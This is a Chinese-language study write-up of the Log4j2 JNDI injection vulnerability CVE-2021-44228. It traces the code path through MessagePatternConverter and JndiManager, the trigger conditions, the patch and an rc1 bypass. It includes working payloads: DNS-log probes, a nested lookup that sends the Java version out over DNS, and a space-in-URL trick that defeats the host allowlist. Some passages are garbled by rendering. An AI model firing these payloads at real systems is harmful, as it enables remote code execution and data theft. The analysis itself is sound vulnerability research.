log4j漏洞学习
- 总结
- 基础知识
- 属性占位符之Interpolator(插值器)
- 模式布局
- 日志级别
- Jndi RCE CVE-2021-44228
- 环境搭建
- 漏洞复现
- 代码分析
- 日志记录/触发点
- 消息格式化
- Lookup 处理
- JNDI 查询
- 触发条件
- 敏感数据带外
- 漏洞修复
- MessagePatternConverter类
- JndiManager#lookup
- rce1绕过
总结
其实学完之后回过头造成漏洞的原理就是Log4j引入了lookup接口原本的目的是来支持在日志输出时获取任意位置的Java对象。通过使用lookup接口,Log4j可以通过适当的配置和调用,动态地从程序运行环境中获取所需的对象,然后将其作为日志消息的一部分输出到日志目标中。
而恶意利用离不开我们的第一就是我们log4j输出内容的时候会去格式化,这里就会涉及到一个convert和format的过程,就会调用我们的MessagePatternConverter类,它会去识别我们的{jndi:…}这部分,然后交给lookup处理,而这部分主要是由我们的JndiManager负责的,它使用了InitialContext来构建了上下文导致了jndi的注入
基础知识
首先搭建一个环境
我们使用maven来引入相关组件的2.14.0版本,在工程的pom.xml下添加如下配置,他会导入两个jar包
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>
在工程目录resources下创建log4j2.xml配置文件
<?xml version="1.0" encoding="UTF-8"?>
<configuration status="error">
<appenders>
<!-- 配置Appenders输出源为Console和输出语句SYSTEM_OUT-->
<Console name="Console" target="SYSTEM_OUT" >
<!-- 配置Console的模式布局-->
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
</Console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="Console"/>
</root>
</loggers>
</configuration>
测试代码
og4j2中包含两个关键组件LogManager和LoggerContext。LogManager是Log4J2启动的入口,可以初始化对应的LoggerContext。LoggerContext会对配置文件进行解析等其它操作。
在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j2Rce2 {
private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);
public static void main(String[] args) {
String a="${java:os}";
logger.error(a);
}
}
属性占位符之Interpolator(插值器)
这是什么东西呢?其实理解为我们linux里面的环境变量就好了,log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在Interpolator(插值器)内部以Map<String,StrLookup>的方式则封装了多个StrLookup对象
这些实现类存在于org.apache.logging.log4j.core.lookup包下,当参数占位符
p
r
e
f
i
x
:
k
e
y
带有
p
r
e
f
i
x
前缀时,
I
n
t
e
r
p
o
l
a
t
o
r
会从指定
p
r
e
f
i
x
对应的
S
t
r
L
o
o
k
u
p
实例中进行
k
e
y
查询。当参数占位符
{prefix:key}带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符
prefix:key带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符{key}没有prefix时,Interpolator则会从默认查找器中进行查询。如使用${jndi:key}时,将会调用JndiLookup的lookup方法 使用jndi(javax.naming)获取value
模式布局
PatternLayout模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List转换器列表和List格式信息列表。在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。
而我们的漏洞就是出现在转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理中,MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。
日志级别
级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。
log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。
当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候
,会读取配置文件中值设置intLevel。当然我们也可以通过Configurator.setLevel(“当前类名”, Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别,也就是200
Jndi RCE CVE-2021-44228
环境搭建
为了便于分析,我们就使用上面的那个环境,但是需要修改代码
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;
public class Log4jTEst {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Log4jTEst.class);
logger.error("${jndi:rmi://64c8bb6d.dnslog.biz.}");
}
}
漏洞复现
按道理来说复现是需要我们搭建一个rmi的,但是我知识分析这个逻辑,就简单的用dns来证明有漏洞
代码分析
先给出调用栈,能够对过程有更好的理解
lookup:209, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:11, Log4jTEst
AbstractLogger.error: 在你的代码中,这个方法被调用来记录一个错误级别的日志。
AbstractLogger.logIfEnabled: 这个方法检查是否启用了对应的日志级别,如果启用了,则继续进行日志记录。
AbstractLogger.logMessage: 这个方法会调用MessageFactory来创建一个日志消息(LogEvent)。
Logger.log 和 LoggerConfig.log: 这些方法处理日志事件,包括日志级别的检查,以及将日志事件传递给所有的Appender来进行处理。
AppenderControl.callAppender: 这个方法将日志事件发送给相应的Appender。在这个例子中,可能是一个ConsoleAppender(控制台输出)或者是一个FileAppender(文件输出)。
AbstractOutputStreamAppender.append: 这个方法将日志事件写入到指定的输出流中,比如控制台或者文件。
PatternLayout.encode: 这个方法将日志事件按照指定的模式(Pattern)转换成一个字符串。
MessagePatternConverter.format: 这个方法将日志事件中的数据按照特定的模式进行格式化,比如日期,日志级别,日志信息等。
StrSubstitutor.replace: 这个方法处理字符串中的变量替换。在你的例子中,它将${java:os}替换成对应的系统属性。
StrSubstitutor.substitute: 这个方法负责实际的字符串替换工作。
Interpolator.lookup: 这个方法用来查找和替换Log4j配置文件和日志事件中的变量。
当然我们重点分析的只有
lookup:209, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender
日志记录/触发点
通常我们使用 LogManager.getLogger() 方法来获取一个 Logger 对象
在这些所有的方法里,都会先使用名为 org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled 的若干个重载方法来根据当前的配置的记录日志的等级,来判断是否需要输出 console 和记录日志文件。其中 Log4j 包括的日志等级层级分别为:ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF。
在默认情况下,会输出 WARN/ERROR/FATAL 等级的日志。
消息格式化
这里也是我们的重点,我们从
PatternLayout.encode开始分析,这个方法将日志事件按照指定的模式(Pattern)转换成一个字符串。
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout
PatternLayout.encode: 这个方法将转换为文本的日志事件编码为字节数组,然后写入到输出流中。这个方法可能会进行一些额外的处理,比如添加换行符或者其他的分隔符。
PatternLayout.toText: 这个方法将序列化的日志事件转换为纯文本。在大多数情况下,由于日志事件已经被转换为字符串,所以这个方法可能只是简单地返回传入的字符串。
PatternLayout$PatternSerializer.toSerializable: 这个方法将日志事件转换为一个可以序列化的对象,通常是一个字符串。这个方法使用预先定义的模式(Pattern)来格式化日志事件的各个部分,比如日期、级别、消息内容等。
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
final int len = formatters.length;
for (int i = 0; i < len; i++) {
formatters[i].format(event, buffer);
}
if (replace != null) { // creates temporary objects
String str = buffer.toString();
str = replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}
它会调用 formatters[i].format(event, buffer);方法,而我们的 formatters之一就有我们的org.apache.logging.log4j.core.pattern.MessagePatternConverter
跟进它的format方法
会对我们特殊字符进行一个判断截取,就是获取我们的value部分
此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示
09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}
本来这段字符串的长度是82,但是却给它改成了53,为什么呢?因为第五十三的位置就是 符号,也就是说 符号,也就是说 符号,也就是说{jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append。而append的内容是什么呢?可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
StrSubstitutor.replace: 这个方法处理字符串中的变量替换。在你的例子中,它将${java:os}替换成对应的系统属性。
StrSubstitutor.substitute: 这个方法负责实际的字符串替换工作。
Interpolator.lookup: 这个方法用来查找和替换Log4j配置文件和日志事件中的变量。
Lookup 处理
Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。
这个类在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。处理和分发的关键逻辑在于其 lookup 方法,通过 : 作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap 中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup 方法。
本次漏洞的触发方式是使用 jndi: 关键字来触发 JNDI 注入漏洞,对于 jndi
JNDI 查询
Log4j2 使用 org.apache.logging.log4j.core.net.JndiManager 来支持 JDNI 相关操作。
JndiManager 使用私有内部类 JndiManagerFactory 来创建 JndiManager 实例,如下图:
可以看到是创建了一个新的 InitialContext 实例,并作为参数传递用来创建 JndiManager,这个 Context 被保存在成员变量 context 中:
我们要触发jndi,就是要触发 InitialContext的lookup方法
JndiManager#lookup 方法则调用 this.context.lookup() 实现 JNDI 查询操作。
触发条件
通过对上面的代码分析,触发条件我们要看得到信息,那就得把我们的日志打印出来,
这里就要提到Log4j2的日志优先级问题,每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中,数值越小优先级越高。
当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小
跟进isEnabled方法发现,只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走,如下所示
而这里日志优先级数值小于等于200的就只有”error”、”fatal”,这两个,所以logger.fatal()方法也可触发漏洞。但是”warn”、”info”大于200的就触发不了了
敏感数据带外
有时候我们并不能进行反弹shell哪些操作,我们可以尝试外带敏感的信息,比如java版本
"${jndi:ldap://${java:version}.2lnhn2.ceye.io}"
利用dns的解析去外带,因为它会先把内层的解析,再去解析外层
漏洞修复
MessagePatternConverter类
首先在这次补丁中MessagePatternConverter类进行了大改,可以看下修改前后MessagePatternConverter这个类的结构对比
修改前
修改后
在 MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverter、FormattedMessagePatternConverter、LookupMessagePatternConverter、RenderingPatternConverter,将一些扩展的功能进行模块化的处理,而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter 来进行 Lookup 和替换
之前的MessagePatternConverter,变成了现在的MessagePatternConverter$SimpleMessagePatternConverter,那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的
可以看到并没有对传入的数据的“${”符号进行判断并特殊处理,所以利用这个合理的规避了我们的漏洞
JndiManager#lookup
第二个关键位置是 JndiManager#lookup 方法中添加了校验,使用了 JndiManagerFactory 来创建 JndiManager 实例,不再使用 InitialContext
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
可以看到如果你是ldap开头的话,我们就需要
就回去判断请求的host,也就是请求的地址,白名单内容如下所示
可以看到白名单里要么是本机地址,要么是内网地址,fe80开头的ipv6地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的ldap服务,不过不用着急,继续往下看。
使用marshalsec开启ldap服务后,先将payload修改成下面这样
${jndi:ldap://127.0.0.1:8088/ExportObject}
如此一来就可以绕过第一道校验,过了这个host校验后,还有一个校验,在JndiManager.lookup方法中,会将请求ldap服务后 ldap返回的信息以map的形式存储,如下所示
这里要求javaFactory为空,否则就会返回”Referenceable class is not allowed for xxxxxx”的错误
但是这个没有return,程序会继续执行
也就是说只要让lookup方法在执行的时候抛个异常就可以了,将payload修改成以下的形式
${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}
在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。
rce1绕过
那它是不是废弃了我们这个lookup功能呢?
并没有
开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示
所以如果我们如果convert的时候利用LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法
但是这个绕过吧。。。。也不算绕过
就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能
参考su18师傅